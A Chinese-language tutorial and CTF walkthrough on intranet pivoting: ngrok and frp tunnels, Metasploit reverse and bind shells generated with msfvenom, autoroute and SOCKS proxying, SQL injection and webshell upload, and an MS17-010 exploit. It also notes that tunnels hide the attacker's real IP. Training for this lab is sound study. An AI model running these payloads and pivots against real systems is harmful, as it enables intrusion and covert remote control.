内网安全-域横向内网漫游Socks代理隧道技术

QQ截图20220524102022.jpg

必要基础知识点

  1. 内网ip地址是私有ip地址(10.0.0.0/8, 172.16.0.0/12 , 192.168.0.0/16),除此之外就是外网ip
  2. 两个不同的内网的主机想要通过CS或者MSF等工具实现控制或者通讯是不可能的,必须要借助代理
  3. 正反向协议通信连接问题
  • 正向:控制端主动去连接被控端
  • 反向:被控端主动去连接控制端
  • 为什么要区分正向和反向?--因为如果控制端是外网主机,被控端是内网主机,就相当于控制端有一个唯一的IP地址(比如103.12.4.11),通过这个IP地址就可以找到控制端,而在内网的被控端(比如192.168.23.36),你通过控制端主动去找是找不到的,因为这个内网IP地址并不是唯一的,可能很多内网都用了这个IP地址,你根本没法找。此时就需要反向连接了,让内网的被控端主动去找外网的控制端。
  1. 内网穿透代理隧道技术说明
  • 隧道主要解决流量分析工具、流量监控工具、防火墙等相关工具的过滤问题
  • 代理主要解决网络的连通性问题

内网渗透-横向渗透-穿透-代理相关知识点

  • 代理技术主要解决3种问题:内网有外网,内网有过滤(防火墙),内网无外网(单纯主机服务器,无网络)
  • 代理主要分为:正向代理和反向代理(以下案例均有涉及)
  • 代理相关工具:nps、frp、ngrok、reGeorg、sockscap65、earthworm、proxifier、proxychains
  • 案例涉及工具:frp、ngrok、sockscap65、proxifier、proxychains
  • nps、reGeorg工具:案例未涉及,可自行学习
  • EarthWorm(简称EW):已永久停止更新

内网穿透Ngrok测试演示-两个内网通讯上线

适用于中国大部分家庭网络环境,因为大部分家庭网络没有公网ip,所以需要这样的方式获得公网ip来实现反弹shell,或者利用这样的内网穿透在进行反弹shell的同时来隐藏自己的真实ip.如果拥有境外服务器,就不需要这么做

QQ截图20220524103405.jpg

  1. 注册-购买-填写-确认
  1. 测试:内网1执行后门-免费主机处理-内网2监听-内网2接受器
#启动ngrok客户端
./sunny clientid <隧道id>

#在kali下生成后门(因为选择的是http协议,所以这里是reverse_http),并把后门test.exe复制到windows7
msfvenom -p windows/meterpreter/reverse_http lhost=xiaodisec.free.idcfengye.com lport=80 -f exe -o test.exe

#配置并监听(一旦xiaodisec.free.idcfengye.com有流量,就发给本地192.168.76.132:4444)
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.76.132
set lport 4444
exploit

注册,登录

QQ截图20220524104445.jpg

点击ngrok客户端下载

QQ截图20220524104459.jpg

根据操作系统版本选择对应的客户端下载(我们用的kali作为内网的payload,下载的就是linux版本)

QQ截图20220524104521.jpg

开通隧道(仅做测试用,使用免费的即可,免费的不稳定容易断,实战中建议使用收费版)

QQ截图20220524104537.jpg

QQ截图20220524104548.jpg

本地端口配置的是内网kali的IP:Port

QQ截图20220524104606.jpg

开两台虚拟机模拟外网,其中kali模拟内网,windows7模拟外网肉鸡(后面几步用msf生成后门,再用另一台电脑来执行这个后门,两台电脑实现互联) 将ngrok客户端传到内网肉鸡 kali上,解压缩

QQ截图20220524104759.jpg

启动

QQ截图20220524104815.jpg

隧道状态变为online

QQ截图20220524104832.jpg

生成后门

QQ截图20220524104851.jpg

把后门test.exe复制到windows7,配置并监听(一旦xiaodisec.free.idcfengye.com有流量,就发给本地192.168.76.132:4444)

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.76.132
set lport 4444
exploit

在windows7上双击启动后门test.exe,kali上监听到会话,ngrok客户端监听到流量

QQ截图20220524105007.jpg

QQ截图20220524105017.jpg

内网穿透Frp自建跳板测试-两个内网通讯上线

  • FRP说明文档:https://gofrp.org/docs/
  • Frp工具:开源免费,自行搭建,方便修改,成本低,使用多样化,防止隐私泄露。而Ngrok工具使用的是别人的服务器,容易泄露隐私数据
  • 服务端-下载-解压-修改-启动(阿里云主机记得修改安全组配置出入口)
  • FRP下载地址:https://github.com/fatedier/frp/releases

服务器修改配置文件frps.ini

[common]
bind_port = 6677

启动服务端

./frps -c ./frps.ini

QQ截图20220524105855.jpg

QQ截图20220524105907.jpg

控制端修改配置文件

[common]
server_addr = 你的云主机ip
server_port = 6677 #frpc工作端口,必须和上面frps保持一致
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5555 #转发给本机的5555
remote_port = 6000 #服务端用6000端口转发给本机

QQ截图20220524105948.jpg

启动客户端

./frps -c ./frps.ini

QQ截图20220524110015.jpg

此时服务端收到端口连接

QQ截图20220524110031.jpg

生成后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=你的公网ip lport=6000 -f exe -o frp.exe

QQ截图20220524110121.jpg

配置监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit

QQ截图20220524110142.jpg

CFS三层内网漫游安全测试演练-某CTF线下2019

来源2019某CTF线下赛真题内网结合WEB攻防题库,涉及WEB攻击,内网代理路由等技术,每台服务器存在一个Flag,获取每一个Flag对应一个积分,获取三个Flag结尾

QQ截图20220524110237.jpg

Target1

探针目标-利用WEB漏洞(TP5_RCE)-获取webshell权限

QQ截图20220524135035.jpg

验证是否存在远程命令执行漏洞,利用漏洞执行命令获得shell

QQ截图20220524135108.jpg

QQ截图20220524135129.jpg

浏览器查看一下,写入成功

QQ截图20220524135144.jpg

蚁剑连接,拿到第1个flag

  • 连接上去之后,可以用它当做跳板,但是蚁剑比较麻烦,此时可以改用CS神器或者MSF,因为使用CS或者MSF时,即使权限不够,我们也可以进行一些操作

QQ截图20220524135209.jpg

kali直接与target2连接是连不上的。因为kali网段是76,target2网段是22,二者不在同一个网段,无法互联,但是target1网段是76和22,target1既跟kali同一网段,又跟target2同一网段,因此,我们可以将target1作为跳板,实现kali和target2的互联

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.76.132 LPORT=1111 -f elf >t1.elf

设置监听,准备接受反弹

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.76.132
set LPORT 1111
exploit

将生成的后门通过蚁剑webshell上传到target1主机,执行后门

QQ截图20220524135356.jpg

此时kali上接收到会话,getuid可以查看会话权限

QQ截图20220524135413.jpg

  • 由于测试环境是我们自己准备的,所以我们知道target2主机的网段及IP地址。但是在实战中,我们应该是未知的,因此我们需要首先进行信息收集,以获得目标target2的相关信息,为进一步的渗透做准备
  • 首先,获取网络接口run get_local_subnets由结果我们得知,target1存在两个网络接口,一个76,一个22,76与kali同一网段,是连接外网的,那22就是连接内网(局域网)的

QQ截图20220524135509.jpg

  • 查看路由地址run autoroute -p,发现当前的路由地址是空的

QQ截图20220524135533.jpg

  • 添加路由地址:run autoroute -s 192.168.22.0/24

QQ截图20220524135601.jpg

QQ截图20220524135616.jpg

添加路由地址成功,说明在刚才反弹的session1会话上,我们添加了一个22网段的网络接口。此时我们就可以通过这个路由跟22网段进行通讯了。虽然能够通讯了,但是我们的目标是攻击target2,要攻击就需要使用到工具,由于路由是写到了maf建立的会话上面,有些工具没法用。此时我们就需要开一个代理,开这个代理就相当于开一个接口给其他人用

  • 开启本地代理
use auxiliary/server/socks4a
set srvport 2222
exploit

QQ截图20220524135654.jpg

利用本地代理接口访问测试

  • kali上配置proxychains(代理工具),修改/etc/proxychains.conf配置文件
#在配置文件中添加
socks4 192.168.76.132 2222
  • 调用工具探针Target2,扫描结果发现,80端口开放
# -Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
# -sT:扫描TCP数据包已建立的连接connect
proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80

QQ截图20220524135819.jpg

  • 浏览器修改代理配置

QQ截图20220524135844.jpg

  • 此时kali上我们就可以正常访问target2上的服务了

QQ截图20220524135904.jpg

Target2

探针目标,利用SQL注入,拿到后台密码,登录后台

http://192.168.22.128/index.php?r=vul&keyword=1 #sql注入
http://192.168.22.128/index.php?r=admini/public/login #后台
http://192.168.22.128/index.php?r=special #后门shell
  • 首先探针目标,在源码中直接找到线索,target2上的CMS服务存在SQL注入漏洞

QQ截图20220524140012.jpg

  • 通过sqlmap扫描注入点找到用户名密码,通过robots.txt文件找到了后台地址

QQ截图20220524140041.jpg

  • 使用用户名密码登录后台

QQ截图20220524140057.jpg

  • 登录成功,拿到第2个flag

QQ截图20220524140112.jpg

  • 通过后台模板功能,写入后门

QQ截图20220524140128.jpg

  • 配置蚁剑代理,测试连接,保存连接,访问,拿到webshell

QQ截图20220524140145.jpg

QQ截图20220524140209.jpg

以上是kali linux的代理访问设置,如果攻击机是windows的话,还可以利用代理工具Proxifier或SocksCap64载入代理进行远程访问测试

  • Proxifier全局代理

QQ截图20220524140239.jpg

  • SocksCap64代理

QQ截图20220524140256.jpg

QQ截图20220524140320.jpg

QQ截图20220524140331.jpg

  • 生成正向后门
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf

QQ截图20220524140405.jpg

  • 访问接收
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.128
set LPORT 3333
exploit

QQ截图20220524140434.jpg

  • 将后门通过webshell上传,执行

QQ截图20220524140535.jpg

  • 接收到会话

QQ截图20220524140546.jpg

  • 信息收集及配置访问
#获取网络接口
run get_local_subnets
#查看路由地址
run autoroute -p
#添加路由地址
run autoroute -s 192.168.33.0/24

QQ截图20220524140633.jpg

Target3

探针目标-端口及漏洞扫描-利用MS17010获取系统权限-获取Flag

  • 探针目标,发现开放了445和3389端口,且存在MS17010漏洞
proxychains4 nmap -Pn -sT 192.168.33.33
  • 利用MS17010获取系统权限
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
exploit
  • 监听到会话,得到system权限

QQ截图20220524140814.jpg

  • 搜索关键字,得到第3个flag
shell
dir /S flag.txt /B
type xxxxx.txt

QQ截图20220524140853.jpg